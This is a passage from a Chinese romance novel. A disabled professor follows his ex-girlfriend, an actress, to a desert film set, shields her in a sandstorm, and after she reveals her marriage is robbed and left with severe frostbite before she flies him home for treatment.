他身穿一件黑色的长款羽绒服,滑雪服的布料粘不住雪,又或许进门前清理过了,身上干干净净,只有裤腿褶皱处有残留的雪,就好像是用白色画笔画上去的。
男人右手推着一只二十几寸的大号行李箱,裸露在外面的肌肤和白纸似的白净。
守门口手里拿一根鸡毛掸子的男店员,等男人跨进门后上去关门。
柜台里的老板娘自男人出现便一直目不转睛地盯着他看。
起初,还以为男人又是哪个剧组的演员,但在看到他走路的步态之后老板娘马上推翻了这个想法。
即使握着行李箱,有一个硬物做撑扶,但他一瘸一拐仍就明显。
只身一人来旅游吗?
以这种身体条件?
黎朔是西北一个边陲小镇,只是一个很小众的旅游地,却是很多年代剧、农村剧,剧组首选的拍摄地。
因为地处偏僻,交通不方便,消费又畸形的高,几乎不会有粉丝专程赶来这儿追星,毕竟明星们的粉丝百分之八十都是学生党。
门一关,客栈里就静悄悄的,靳子煜放开握行李箱推杆的手掏出口袋里的黑色钱夹,取出夹层里的身份证。
靳子煜前天网上已预定好了房间,大床房,八百一间,据说是明星房。
他读书时只参加过春游、秋游,毕业后又忙于工作,活到三十一岁,去过的地方五根手指都数的过来。
老板娘登记完,把身份证和一串钥匙一并推过来给他,靳子煜拿了身份证塞入皮夹,再把皮夹放回兜里,然后拿起柜面上的钥匙,握入掌心之中。
“老板娘,麻烦店里的伙计帮我把行李箱送到房间门口。”
靳子煜进门最先留意到的是通往二楼的木质楼梯,楼梯狭窄,只有一个人身宽度。
老板娘叫来守门的店员,两人用方言一交流,店员到他面前。
这位店员看来不会说普通话,眼睛里是询问的意思,靳子煜下巴点了一下,店员当即了然,伸出手握住行李箱推杆。
男店员提着行李箱,一溜烟跑到了二楼,而没拄手杖跛行的靳子煜才走到楼梯下。
靳子煜没用手杖是觉得柜台到楼梯不到五米的间距用不到,待会儿爬楼梯更用不上。
右手抓住楼梯扶手,大脑发出指令抬高右腿,放到上一层台阶上,身体向前倾十五度,再提起灵活的左腿,每上一步,手掌都会往前攀一步。
从楼下走到楼上,健全人只需二三十秒,靳子煜用时近三分钟。
客栈大堂没有暖气,屋外零下十多度,屋内不过比外面高了十来度,可纵然寒冷,爬楼梯仍让他后背汗湿一大片。
钥匙转动锁芯打开房门,男员工只把行李箱推到门口就走了,靳子煜拔出钥匙,拿住推杆,推着行李箱进房内。
轻碰上门,按下大灯开关,灰暗的房间一下点亮,明晃晃的大灯下,靳子煜粗略的扫一遍房间。
泛油光的土黄色地板,整个房间目测三四十平,进门左手边是一个和地板一个色的衣鞋柜,右手边的卫生间由于没开灯里面黑漆麻乌。
再往里可看见一张铺着白色四件套的大床,圆形花梨木小圆桌,旁边有两把靠背椅,一张椅子背靠墙面,墙上有一面窗户,和大部分酒店布局差不多,但又大有不同,每一处、每一个家具,都透露出“年代久远”。
圆桌上有一黑一白两个遥控板,靳子煜拿了白色遥控板对床头柜正上方的那台空调,摁了开关键,“滴”地一声,空调显示灯亮,空调内机开始运作。
脱掉身上的羽绒服,挂在靠椅子靠背上,他走到床边坐下。
凌晨五点飞机落地桐远市,靳子煜在机场坐上一辆出租车,告知司机去黎朔镇,司机不情不愿地提出不打表五百元。
这也就不说他了,发车约三个小时,司机欺负他是外地人不了解当地,提前把他放在了距离黎朔七八十公里外的小镇上。
是他后来问了当地人才知道的,而且这镇上根本打不到出租车,这也就是为什么司机不愿在开进去半路丢下他的原因。
很简单的道理,没有出租车是因为没人会选择坐出租车,那位司机不想空跑回去。
在当地不少好心人热心指引下,他步行约两三公里到了镇上的长途车客运站,买了一张去往黎朔镇的车票,发车时间下午一点。
捱了三个小时终于坐上了大巴车。
然而,山路难行,风景虽壮观,但路况条件差,一路遇到塌方、泥泞、炮弹坑等等障碍,七八十公里的路,用时两个半小时。
到了黎朔镇又遇上鹅毛大雪,出客运站门靳子煜在风雪中站了半个小时没遇到一辆做生意的载客小车。
他尝试点进手机导航,谢天谢地,在上个镇信号极差打不开导航的手机,在这里倒是有了信号。
输入目的地,选择步行路线,导航规划完路线,两公里的路程导航提示是需二十分钟,而他实际走了四十分钟。
奔波一天、飞机、出租车、大巴车、步行再步行,他快累瘫了,自他到黎朔镇,假肢时不时震动提醒他该充电了,今天他走了一万步,比他平时一周走得步数都多。
等房内温度上来,靳子煜脱掉裤子,取下假肢,拿着它和床头柜上的充电线,跳到电视柜旁,拔掉电视机插头,给假肢连接上充电线,再将插头插//入插孔中。
太累了。
靳子煜掀开被子躺进去,双眼一阖,睡着了。
*
大雪连着下了两天,第三天大地放晴,白天的气温上升到十度左右,冰雪速度消融。
广袤无垠的沙漠,阳光下金色的沙海波光粼粼。
孟秦书来这里拍戏已经第五天,因大雪耽误两天,还需延期。
支起的绿色大伞底座是一个大水箱,孟秦书和男演员坐在露营椅上各自刷手机,两位化妆师和两位助理伫立在他们身后。
孟秦书敞开穿的黑色羽绒服,里面是一件明红色秀禾服,她的妆容喜气,两颊胭脂涂得和红纸似的,乌黑的中分盘发上插了各种颜色的珠宝,未避免珠宝碰伤,贵重的珠宝套了透明小袋子。
孟秦书身边这位穿着戎装的演员是男二,孟秦书扮演的女主,今天出嫁嫁给地主家的傻儿子,男二深爱女主两人因种种误会错过,男二不甘心带人马前来抢亲。
这部戏是以民末为背景,融入家国情怀,那位‘傻儿子’也不傻,还是个极具爱国精神的正义青年。
只不过今天没有男主戏份。
上午已拍完几十名群演的火拼戏,现在要拍第三场。
布景师在做简单布景。
孟秦书回完信息抬头,眯眼往高处看。
西边圆环似的太阳被青烟似的沙尘蒙着,发灰发黄,围绕圆环一周的橘色,仿佛油墨渗透宣纸晕出边界模糊的颜色。
手机放回桌上,小杨拿了手机,装进斜背的腰包里,拉上拉链。
副导演走到监视器前,拉高嗓门说,“各部门准备下开拍了!”
孟秦书起身脱衣,小杨拿走她手里的羽绒服,挂在自己肘弯。
化妆师站到孟秦书面前,为她补妆,另有一名女工作人员站她左侧,细心地取掉珠宝上的小袋子。
水滴形红宝石耳坠伴随孟秦书的走动,摇摇曳曳,如同在风中舞动的妖娆大丽花。
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靳子煜看着美丽的她坐进花轿,澎湃的心情逐渐平复。
找到她。
他终于可以安心了。
靳子煜站得位置较偏,在他们休息区的斜后方,与剧组相距大约十来米,而且他前面还有棵树干粗壮的枯树,他又只露一半身体在外面,很难被人发现。
现场有人举着白色的打光板,有人肩上扛着摄像机,还有双手握着一根黑色的细长杆子,杆子顶部有一个类似话筒的东西。
“action!”
开始拍摄了。
穿戎装的男人走到轿子前,拉开轿子门帘,嘴唇一张一合,不知道在和轿子里的孟秦书说着什么。
靳子煜第一次看剧组拍摄,起了好奇心,他拄着手杖往前走,沙地上留下他的脚印和手杖戳出来的长串小洞印迹。
脚步声,“沙沙沙”。
监控器前戴帽子的男人,抬抬头不大满意地说:“再来一条,”。
靳子煜看他像导演。
导演又说:“跟焦把焦对到演员,录音老师杆对到演员。”
那个男人重新撩开帘子,还没讲话,再次被导演喊停。
当靳子煜能清楚听到他们的说话声,才意识到自己走得过分近了,而且现场已有人发现了他,
他立时止步,迅速掉头。
就见半片天空呈现橙红色,那里似乎充斥了大量沙尘颗粒,大有遮天蔽日之势。
若隐若现的太阳也成了蓝色。
他继续往回走,可天上这种怪异的景象让他心里忐忑不安。
忽地。
他愣怔住。
这种景象不正是地理书上所写的自然灾害之一的沙尘暴。
不好!
靳子煜蓦地转身,边往前快走边扯着喉咙冲所有人大喊。
“沙尘暴来了!!”
“快跑!”
有不少人听到了他的叫喊,齐齐朝他看过来,天色较刚才更昏黄,他看不清他们的表情,但能感知他们正用一种看待“神经病”的眼神看待他。
没人听他的。
靳子煜一旦走快步态就变得歪歪倒倒,还没意识到自然灾害严重性的这群人,一定觉得他更恐怖。
“快跑啊——”
他竭尽全力吼,“沙尘暴来了!”
天地之间,回荡着被他自己强行拔高的雄浑有力的声音。
都不要命的吗!
更多人看到了他,监视器前的导演、与孟秦书在轿子前对戏的男演员、还有那些群众演员……
方才踏进拍摄区域,一阵猛烈强劲卷着沙砾的巨风,冲击靳子煜腰背部,他险些被刮倒。
有个身体单薄的女人直接被吹翻在地。
绿色大伞恍若一棵被连根拔起的大树,轰然倒塌。
后知后觉的人群变得躁动。
可轿子那边毫无动静,小书怎么了?
靳子煜更快地往轿子那儿走,和那个只顾自己逃跑的男演员,肩对肩撞了一下,男演员一声道歉都没有,反而跑得更快了。
有人看到百米外,地面黄沙被吸附起,往天上汇集,形成一道庞大无比的沙墙。
可怕的是这面沙墙正在往这里移动。
“啊!”一个女人发出惊恐地尖叫。
全员慌了,场务丢盔弃甲、群众演员四处乱蹿,两名摄影师扛着吃饭的家伙,跑向汽车。
外面兵荒马乱的声音传入轿中,孟秦书觉察到不对头,她刚才有听到“沙尘暴、快跑”,但那个声音太像靳子煜了,她以为是自己幻听。
孟秦书扯掉盖在头上的红盖头。
便见掀开帘子的靳子煜,两人的动作几乎是同时发生。
两道目光与空中相撞。
她惊愕。
他担忧。
55. 过去了
风力越大,沙墙往这边移动得越快。
满载群众演员、现场工作人员的大巴车,打开大灯,关上车门,原地掉头先行驶离。
四张座椅的保姆车里塞进五个人,车窗紧闭,窗玻璃吱吱吱地响,肆虐咆哮的狂风如同发疯的狮子不间断地冲撞着这辆车。
车内一名男子扒着前排座椅靠背站起来,催着司机,“开车!怎么还不开车!”
“快开车,快开车。”
“开车!”
另外三人附和。
沙墙越来越近,地上的沙层如同翻滚的海浪,司机也害怕。
坐车门边这张座位的小杨,大声反对:“南寒姐还没上车,不能开!”
放置在大腿上的两只手因紧张而握成拳头,小杨转头往车窗外看,能见度不足十米的漫漫黄沙之中,被她看到有两个人影一前一后顶着来势汹汹的大风,步履艰难地朝这边走过来。
前面这位是导演,后面那抹亮红色正是南寒姐。
小杨激动的站起来,头撞到车顶,她痛苦地按着头顶躬下些身子。
“师傅,南寒姐来了!”
司机听了她的话,侧眸去看右后视镜,镜子里确实有两人正朝这儿过来,目测还有七八米。
司机想等他们走近些,再去开车门。
但不知怎么一回事,南寒突然就不走了,而是倏地转过身,可能落下了什么东西,南寒抬步就要往回跑,但被导演一把握住手臂。
两人就此陷入你拉我扯中,可把他看得急死了,都什么时候了,这女人还在闹脾气,他烦躁地一键启动汽车。
这么大一部车受外力打压已经微微晃动,外面的风有多大可想而知。
与大地一色的天穹像是要掉下来,那堵巨型沙墙已近在眼前。
“开车啊!!”
“快开车啊!”
生命受到威胁,车内几人吵着嚷着让司机开车。
车门被外面的人“哗啦”一声拉开,鬼哭狼嚎的风声裹挟黄沙,似黄河开了一个口子,势如破竹地灌进来。
导演两步上车,跌跪在车厢地面,立即拉上车门。
仅几秒钟,车厢内已一半黄沙。
司机再看后视镜,里面那抹红色,不作犹豫地扎入风沙中,渐行渐远,再也瞧不见了。
*
空气中的浮沙颗粒感越来越重,通过鼻子吸入的粉尘粘附在脆弱的鼻腔里,强劲的风力加剧沙子的流动,极容易打滑。
刚才靳子煜右脚陷进一个小沙坑,跌了一跤,他废了很大力才爬起来,之后便看不见走在前面的两个人。
脚底再次打滑,靳子煜左膝先着地,右腿被带歪,砸入沙地,手杖小半截陷入沙地,握在杖身二之一处的五指进一步收紧,靳子煜铆足了劲往上抬这具身体。
却在他站起时,正前方突然出现,返回来的孟秦书。
黄沙苍茫,距他五六米的她,只是一个模糊的红色身形。
裙摆飞扬。
风沙迎面而来,他睁不开眼,双眼连续眨着,却看得真切。
风自她后面来,她已无发型,披头散发,到她脖子的头发拍打着她的脸孔。
她回来做什么,不知道危险吗?
顺风跑来的孟秦书,很快到靳子煜身边,转了半个身双手握住他的左胳膊。
两人都开不了口,只因一张口保准吃一嘴巴沙尘。
孟秦书回视靳子煜黑黑的眼睛。
如果不是她下轿子前,裙子一角卡进座位缝隙里拔不出来,生拉硬扯耽误了几分钟,如果不是靳子煜不愿意撇下她,他也不会把自己身处险境。
那么她又怎么能忘恩负义的抛下他。
须臾之间,心领意会的两人回正脖子,同步迈出第一步。
逆风前进,每一步都尤为困难。
然而,当孟秦书走到原停车的地方,傻眼了,保姆车已开走,风吹散了沙,地上连车轮印都没有,要不是那棵左摇右晃的枯树还立着,她都要怀疑自己走错了。
松开手,孟秦书摇摇晃晃地往坡上走,心里还抱有一丝丝希望,想看看他们会不会停在不远处打着车灯等他们。
风有多大,吹在她两条小腿上,腿都是打晃的,就好像是太空漫步,随时随地会摔倒。
看不见,什么都看不见,目之所及,只有漫漫黄沙。
恐惧、悲凉、绝望来袭。
“轰!”
一股力道猛烈的劲风正面袭击她,孟秦书见过最大的台风是八级,她感觉这股妖风有十八级。
稳不住身的她往后倒,放大的瞳孔里,陡然间出现那面沙墙,就在那座小山坡的前面,直线距离不到二十米,但恍若近在眼前,强大的吸力吸起地面黄沙,连人都有可能被吸上去。
“小书!”
背后横出来的一条手臂从后往前裹住她的腰,她没在掉到地上而是撞进男人的怀中。
天地被沙尘笼罩,混沌不堪,不见天日。
可突然。
她被另一股力量带着往侧方歪下去,不是风吹得是靳子煜压着她,逼迫她倒下。
“砰”两人一块倒地,她的右头骨撞在一只厚厚的手掌上,身下都是沙子倒没觉得多疼。
孟秦书知道靳子煜为什么这么做了,是减少被沙暴吸上天的可能。
可这儿是山坡,倒地之后,两人转动着滚下坡。
孟秦书最怕晕,不知道转了多少圈。
一圈、两圈,三圈.....
残存的意识感知到靳子煜一直单臂箍着她的腰,因怕她头撞到硬物,掌心也一直敷在她的后脑勺上。
他在保护她。
不再转了,似乎到地面了,但她也晕了。
沙暴过后,诡异的死寂笼罩四野。
靳子煜双臂撑地面,半米厚度的黄沙,自他身上像撒盐似得落下,他把自己从孟秦书身上移开,翻身坐到旁边,再把昏迷中的她搬过来,把她的脑袋放到自己腿上。
右手抚上她的脸颊和额头,温度是正常的,食指在鼻尖下探到她的呼吸,鼻息温温热,一呼一吸平稳安宁。
悬在半空的这颗心,得以安放下来。
他保护住了他的女孩。
“小书。”
仍没有反应。
看来是吓晕了。
沙暴虽过去,但天暗下来了,气温在悄然下降。
四下空荡荡,有点常识的都知道,在沙漠里发生意外情况,不能随意走动,应该等待在原地被解救。
手机一点信号也没有,靳子煜尝试拨打紧急电话也没有拨出去。
但,小书的团队一定会报警,这时候他们能做的就是在原地等待。
靳子煜垂眸静静注视着孟秦书。
她身上穿的这件红裙子,刺绣的地方沾满了沙尘,露出外面的两条腿丝袜各破了一个大洞。
穿的这么少。
想起自己身上这件羽绒服,靳子煜轻手轻脚地把孟秦书搬回到地面,他脱掉两只袖子,由于是长款,他左手掌撑了下地面,抬了抬臀,才拿出羽绒服。
轻柔地盖到孟秦书身上,他又把她抱回来,这次让她上半身都压在自己腿上。
小书。
眼前仿佛上演着电影,重复放映着她毅然决然,不惧危险,奔向自己的画面。
“子煜我不用你追我会跑向你。”
他知道她爱他啊,可是他让她伤心了。
“孟秦书,以后不要再出现在我面前。”
而她。
这次真的消失了半年,音信全无。
不一样……那七年中有五年半的时间,他时时刻刻在关注她,知道她在哪里,知道她在做什么。
即使她是远在天边的明星,但他可以成为她的粉丝。
前两年有个同事发现他空暇时间爱好刷微博,看得都是同一个女明星,同事惊奇地说他,“靳教授真看不出来你也追星。”
追星。
对,他追星,追星让他得到满足和快乐。
可有一天,他追的这颗星不见了。
他快疯了。
*
孟秦书做了一个模糊的噩梦,她颤了一下身体醒过来。
眼前是黑暗的,但有一束不大明亮的光来自身侧,孟秦书顺着光线歪头,看到平放在地上反面朝上,开着手机灯的手机。
手一动碰到一只冷冰冰的男人的大手,孟秦书一吓,猛地坐
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起来,身上盖得那条被子似得软物,滑落下来,堆积到她腹部,而她还差点撞到头顶那人的下巴。
“小书。”声线打着寒颤却是格外柔软。
一瞬的刺骨寒意让她冷得打斗,还像一盆从头顶倒下来的冰水,激得她头脑霎时恢复清醒。
她和靳子煜一起滚下山坡,滚下来的途中她晕了。
当时靳子煜抱了她,还抱得特别紧。
就刚刚她还睡在他的腿上,怎么可以有这么亲密的行为,她往外面挪了几次,让自己离他远一些。
可真的好冷啊。
敏感的鼻腔打了一个喷嚏。
“阿嚏,阿嚏。”
又连着打了好几个。
靳子煜捞来地上的衣服递给她,“小书,快把衣服穿上。”
这时候孟秦书已不怎么看得清靳子煜的表情,手机灯是垂直向上的,光源覆盖不到的地方黑压压一片。
无声对视片刻,孟秦书由坐转为跪,倾身向前,直接了当,一掌拍在他左脸颊上。
“啪!”
万籁无声的大漠,毫无预兆落下的巴掌声就像突然下的一道惊雷。
靳子煜完全惊呆,孟秦书同样的被自己条件反射的攻击行为吓到了。
是泄愤?
还是恼羞成怒?
孟秦书自己也不知道。
“小书。”
随后靳子煜弯起冻硬的嘴唇,他在对她笑,像是再说没关系,他仍执着地要把羽绒服给她穿。
孟秦书继续后挪躲开。
靳子煜垂下手,温声道歉,“对不起,半年前我说的那些话——”
“靳子煜,过去了知道吗!”孟秦书突然变得暴躁,她实在不想听他说这些话,抖得身子,双手反撑沙地上,“我没恨你,没气你,所以你不用专程跑来这里跟我道歉,靳子煜。”
嘴巴里像含了冰块,都呼不出热气。
说罢,孟秦书手脚并用的爬起来,这下靳子煜更够不到她了。
即使冻死,她也绝不穿靳子煜的衣服。
“小书,我来是想看看你。”靳子煜固执地抬高拿衣服的手,“穿上别冻感冒了。”
“靳子煜你知不知道你的行为已经越界了。”孟秦书俯视地上的他,唇齿打着寒战,告诉他一个事实,“靳子煜我于今年三月结婚了。”
羽绒服自靳子煜手上滑落到地上,靳子煜笑容被冰封,但冰封不过两三秒,他又似不相信的对她扬起笑脸。
一时谁都没话可说。
连风声也没有,一切无声无息,他们仿若被关进一个黑盒子里。
就见靳子煜往前探身,胸部都快靠到他的大腿,然后双手抱住假肢大腿处,往上送了一下。
孟秦书抿紧唇,盯着他看。
假肢在地上弯曲再伸直,靳子煜确认只是松动没出故障,他再把身子往左侧转,双手撑地,屈起左膝盖,右膝跟着屈起,成了一个跪在地上的姿势。
手杖被他扔在了山坡上,没有手杖他想起来有点吃力。
沙沙的脚步声近到靳子煜耳边,她弯下腰双手握住他右胳膊,低声问,“起来做什么?”
他就知道她不会不管他。
靳子煜没立即回答而是等到起身后垂目看着她答,眸光真挚,“如果你跑了,我能追上你。”
孟秦书不自主地笑了,心想我真想跑,你也追不上我,但这个想法一出现就被她扼杀掉。
并且放开双手。
靳子煜一手扶左膝盖,弯下身,另只手捞起地上的羽绒服,挺直腰背再次递给她。
“小书,衣服穿上,别感冒了。”
靳子煜虽比她好一点,但里面也只是一件羊绒衫。
尽管孟秦书冷得快晕厥,但她仍是没要。
放下拿衣服的手,他向她走来,而她向后退。
拒他于千里之外。
靳子煜踉跄一下止步,孟秦书跟他一块停下,始终和他保持了近一米的间距,她吸口气,耐心十足地对他说,“靳子煜,我结婚了,我不能背着我先生接受其他男人的好意。”
一大一小两束明亮刺眼的白光打在他们身上,坡上出现一群人,有一男人喊:“找到了!”
56. 醉言醉语
洗了澡出来,孟秦书换上带来的睡衣套装,她站在洗手台前,望着镜子中的自己,耳旁却响起靳子煜清润浅柔的声音。
“小书,我来是想看看你。”
“如果你跑了,我能追上你。”
看来靳子煜是知道那些事了,是孟媛还是.....孟坤?但这都不重要了,那件事虽不那么光彩,但总归有一日会重见天日。
靳子煜是个心地善良的人,知道她的遭遇,对她产生了可怜、同情之心,孟秦书摇摇头,甩掉眼前这张脸和不切实际的瞎想。
屋里空调打得暖和却憋闷,烟瘾上来,孟秦书快走几步到床头柜,弯腰拉开抽屉,拿了烟盒和打火机走到窗前,两只手各握住窗子拉环往里拉开,寒气蹿进屋内,自她敞开的衣领进去,小腹凉飕飕。
香烟浅浅咬在齿间,一手拢起,一只手摁打火机,红蓝色火苗蹿出来点燃香烟,孟秦书扭个身把烟盒和火机一块轻掷在背后的圆桌上,朝外吐出一口白烟,微风打散这团缓缓扩散的烟雾。
楼下传来急促地脚步声,孟秦书往下看,长睫在她眼下投下一片阴影,敞开的客栈大门,流出的灯光打在窄长的石板路上,背着双肩包的男人自门前经过,像是游客。
话说回来她怎么就认定靳子煜一定是为了和她道歉而来,说不定他也是来……旅游。
香烟还剩三分之一时,孟秦书困了,她抬起视线,却突然愣住,只因她在对面那栋楼的二楼,看到了靳子煜,两人迎面相望,他目光如炬。
剩下的烟摁灭在窗沿上,孟秦书两指捏着烟头,视而不见地悠然转身,双手抓住窗子边缘,往外推合上窗子。
*
传闻十年一遇的沙尘暴被他们赶上了,大家都心有余悸,后面两天时间匆匆拍完剩下的戏份,其他演员上午陆陆续续离开,孟秦书和两名男主演拍到傍晚五六点,只能于第三天回海城。
孟秦书跨出大宅子的门槛,又见到了靳子煜,今天他围着她曾送他的围巾,孟秦书不是个迟钝的人,知道他的用意——他用这条围巾在向她证明他还惦记着她。
又如当年的她,前一秒提分手,后一秒又穿着他送的连衣裙出现在他面前,向他证明她喜欢他送的裙子也喜欢他。
谈恋爱分分合合再正常不过,谁都会有头脑一热的时候,她恨靳子煜吗?
显然是没有的。
靳子煜被她自作主张的“为他好”伤害,当时到底还是年纪小,认为自己还很‘伟大’,如果换到现在,她一定是另一种处理方式。
所以他的惩罚她自始至终是认的。
夕阳斜洒,寒意萧瑟,外面是主街,没入夜前人来人往还挺热闹,淡薄的金光为他们每个人都披上一件黄色外衣。
孟秦书有些烦了,眉心轻轻跳动,随后微拧起:“靳子煜,我对你没意见,但我结婚了,我们应该避嫌。”
说完,她右手插入大衣口袋,掏出一枚婚戒带到左手无名指上。
刻意慢动作,如同展示般。
花瓣型婚戒,上面的钻石个头很大,太阳底下闪烁着五彩斑斓的光。
靳子煜脸色变了变,受到打击似的身体大幅摇动一下,孟秦书不再看他,而是神色自若的从靳子煜身侧过去,左拐进人群中,向着她所住的客栈径直走。
*
深更半夜,电话铃声响。
孟秦书伸手到床头柜上胡乱摸,摸到手机拿来放到耳边。
“小书。”
沙哑磁柔染了酒气近乎呢喃的嗓音顺着无线电传进她耳朵里,孟秦书豁然睁开眼,床头亮着一盏幽黄的小灯,她一坐起来,影子折在墙上。
“那天你离开后我坐在公园的长椅上坐到晚上,我一直在假想,假想……靳子煜如果不是个残疾人,这样是不是小书不会走,我……那几年我没有一天想过小书是不是遇到了什么事……。”
“但但是……小书,我没有一天停止过爱你,我加了你的微博,成为你的粉丝,你的每条博文我都会给你点赞,你今天做了什么事,未来有什么安排,我都知道,可我太懦弱了……我不敢来找你。”越说到后面带着鼻音的哭腔和苦涩愈浓重。
靳子煜对她剖开自己的心脏,每个字仿佛散落在无边沁寒的夜色里,萧索、悲凉。破碎的声音仿佛风中叶片上颤颤巍巍的露珠,又宛如天边摇摇欲坠的月影,孟秦书听出了他内心深处无法言喻的苦楚。
“我是个懦弱自卑的人……即使你为了我做了许许多多的事情,可我,可我没有相信你,没有足够信任我们的感情。”
靳子煜固然是个好脾气的人但事实上他是个很能忍耐的人,无论是身体的痛亦或是心里所承受的压力,他从不会主动向人倾诉,大悲大喜更是不可能在他身上看到,哪怕是在他亲生母亲面前亦是如此。
如非喝醉,这些话靳子煜绝不可能说出来。
“小书!”
他陡然高声。
机身烫着耳朵,孟秦书只觉烦躁、难忍,很想快点结束这通电话,可是手完全不听使唤。
片刻须臾间,靳子煜又萎靡下来,哑声卑微地央求,“再给我一次机会好不好,求你……再给我一次机会。”
微红的鼻尖在灯下反光,孟秦书捋开额前垂下来的头发,眉目透着疏冷,“靳子煜,我们结束了。”
话刚出口,靳子煜立刻挂断了电话,不知是听到还是没听到。
掀开被子,光着双脚踩在地板上,孟秦书小跑到窗前拉开窗子,刺骨冷气让她不禁缩了一下肩膀,入眼一大片银白,大朵大朵的雪花,不声不响地下着。
孟秦书平视对面窗子,窗户紧闭,窗沿上有十公分左右的积雪,看来这场雪很早就开始下了。
那间屋子里没有开灯,死气沉沉的,而她眼前覆上淡淡的水汽,渐渐模糊了视线。
*
天上没有月,地面洁白的积雪恍似不大明亮的灯。
一径深的小巷子深处,幽幽暗暗,一只灌满水上面结了一层薄冰的大水缸旁边,有一个醉酒的男人坐在地上,他背靠身后的红砖墙,未熄屏的手机自他手里掉落,男人不以为意,轻轻勾起唇,安详的闭上双目。
雪持续下着,从巷口往里望,拦了半条路的大水缸,完全挡住了这个男人,接下去的四五个小时里,有不少人从巷子口来来回回跑过去,都没发现这个人。
直
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到。
雪止,天光蒙蒙亮。
房屋的主人推开门,看到靠着他们家门前这面墙,以成为“雪人”的这个男人。
他们着实被下了一跳,还以为出了命案,当即报警。
孟秦书接到警方回电,赶到指定的医院,急救室灯亮着,警察叫住她,为她描述了案件大概情况。
案件.....
喝醉酒的靳子煜,在回客栈的途中遇到了一伙抢劫惯犯,他们把他拖进巷子里,搜刮他身上的财物,但他一定是反抗了,才会惹得这帮人对他拳打脚踢。
他的手机没被抢属实幸运,可能那帮人听到有什么动静吓跑了,警方通过地上的血迹和他身体的失温情况,判断出抢劫发生在五个小时前,也就是凌晨一点左右。
让警方想不通的是,他手里有手机却没第一时间报警,而是在一点三十分,给一个叫“小书”的人打去了电话。
孟秦书失魂般跌坐到长椅上,唇瓣一直在颤,“小书是我。”
靳子煜是疯了吗?
他不想活了吗?
他一个教书育人的大学老师;一个成绩斐然的科研工作者;一个三十一岁的成年人,怎么能做出这么不理智的事情。
难道说……是她的回答,磨灭了他的求生欲。
靳子煜你怎么能这么幼稚啊。
在被靳子煜挂掉电话之后,心里惴惴不安,让孟秦书横竖睡不着,她换了衣服找去了他入住的客栈,问了客栈老板娘,得知他上午出去一直没回来,黎朔镇大小三条街,她来来回回找了三遍,其间一直有给他打电话,但他都没接。
担心靳子煜出事,孟秦书打了报警电话,警方积极的帮忙寻找,她也没放弃一直在找他,警察电话来时,孟秦书仍在外面,放下电话即刻赶来了医院。
口袋中的手机响了又响,孟秦书没有管它。
急救室医生走出来,四下看,取下口罩问,“病人家属在吗?”
孟秦书起身走上去回,“我是他朋友,他怎么样了?”
医生看着她说:“病人已没有生命危险,但需要截肢,病人还没醒,你能做主吗?”
截肢……
如遭五雷轰顶,孟秦书骤然脸色煞白,唇齿哆嗦,“为为什么?”
医生照实告知:“病人右残肢受了外伤,没有及时处理,在零下十二度的天气下,造成了三度冻伤,也就是说现在即使通过复温治疗也很难让冻伤部位存活,考虑到坏死部位容易继发感染,我的建议是截肢。”
顿觉双腿无力,孟秦书苦力撑着,焦灼不安让她的口气变得冷硬,态度极差,“很难让冻伤部位存活,不是不能是不是这个意思,一定有办法的是不是?一定是你们医院没这个条件处理对不对!”
被质疑专业,医生也是人,不可能给好脸,“女士,如果你不信任我们医院可以转市医院。”
但到底医者仁心,医生看她泪水涟涟,脸色缓和下来,“如果要转院需尽快安排,时间越早机会越大。”
孟秦书掏出口袋里的手机,滑动屏幕到通讯记录,第一条未接的两通电话来自宋特助,孟秦书给他回拨电话,需要请他帮这个忙。
57. 错过
上午八点零五分,救护车停在黎朔镇通用机场停机坪,医用救护床上的病人被推上飞机,身穿黑色羽绒服,脸上带墨镜的女人跟在车后一块登机。
转运完病人,腾空的救护床从休息室推出来,堵在休息室口的女人赶忙为其让道。
而在这时,女人口袋里的手机响了,她拿出来接听,听筒里的男人毕恭毕敬地道:“太太,医院会提前一个小时安排救护车前往机场,不会出错,您尽管放心。”
孟秦书是要带靳子煜回海城,以海城的医疗水平,她相信一定能治好他。
她怎么能让靳子煜因她而截肢,那样她会一辈子心里难安。
这架飞机是霍清辞的私人专机,孟秦书这趟来黎朔避开所有人独坐一架飞机,不是她矜贵,也不是要搞什么特殊,而是她被家里的事耽误,只得麻烦宋特助帮她安排行程。
开机仪式在影视剧中至关重要,她一个女主角不到场,耍大牌、没有责任心,届时负面通稿满天飞,孟秦书不忌惮人言,但对导演乃至资方该有的尊重还是要有的。
扬正集团名下两架飞机在国内航班有快批特权,只要指定时段内该航线无其他航班不会‘撞机’,便能随时起飞。
孟秦书那天凌晨五点登上飞机,直达黎朔镇通用机场只用了两个小时,但如果跟团队走,飞机落地还需要近三个小时长途车程,五个小时的时长直接缩短了一半,孟秦书第一次体会到坐私人飞机的便利。
若不是出现意外情况,飞机这会已起飞,刚才在警局,宋特助那两通正是来询问她有没有出发去机场。
因这事起飞延时了一个小时,但好在宋特助处理问题的能力敏捷迅速,可以用最快的时间把一切事务都归置的妥妥帖帖。
里面有轻微地动静,孟秦书拉开移门,看到已经坐起来靠着床的靳子煜,他冲着她弯起泛白干枯的唇,孟秦书跟着浅浅一笑,走进休息室。
靳子煜脸上没有伤,胸膛和背部有几处有不是很严重的外伤,肤色呈青紫色,而他本就脆弱的右腿肌肤,在遭到外力重踹,创面就像冻疮开裂出几道,但好在伤口不深,不需要缝针。
却也正是这几道浅浅的伤导致了三度冻伤,孟秦书没有亲眼见到他的伤,靳子煜推出来时,右腿已用纱布包扎好,盖在被子下,这些都是医生向她描述的。
“你的行李箱我给你带来了。”
孟秦书坐在小茶几旁的单人真皮沙发上,叠起穿着蓝色牛仔裤的修长双腿,她转脸看靳子煜而他也恰好偏头看过来。
出发前孟秦书不但回了自己住的客栈拿行李,还去了靳子煜所住的客栈,是要把他的行李箱一并带走。
但前台老板娘秉着一是对住客负责二是怕担责的态度,死活不肯让她拿走靳子煜的任何一样东西。
别无他法,她只能让老板娘出问题考她,先是默背了靳子煜的身份证号码,再出具自己的身份证让老板娘拍照留下记录,老板娘终于信了,但八卦心被点燃了。
“他是你男朋友?”
鉴于想要的东西还在她手里,孟秦书只得嗯两声敷衍过去,反正这里又没其他人认识他们。
“咚咚。”
外面的空姐轻叩两下移门,随即里面的人听到空姐优雅大方的声音,“霍太太,飞机即将起飞,起飞时会有轻微不适,您若是需要服务请随时呼叫我们。”
私人飞机和客机一样配备专业的机组人员,这架飞机上有一位空姐、一位空少,加上两名驾驶员、飞行机械人员一共五人。
孟秦书往门口撩了一眼,空姐只是常规告知,她没应,视线回到靳子煜漆沉的眼眸上,她动了动唇,淡声说:“今年三月,我和霍清辞结婚了。”
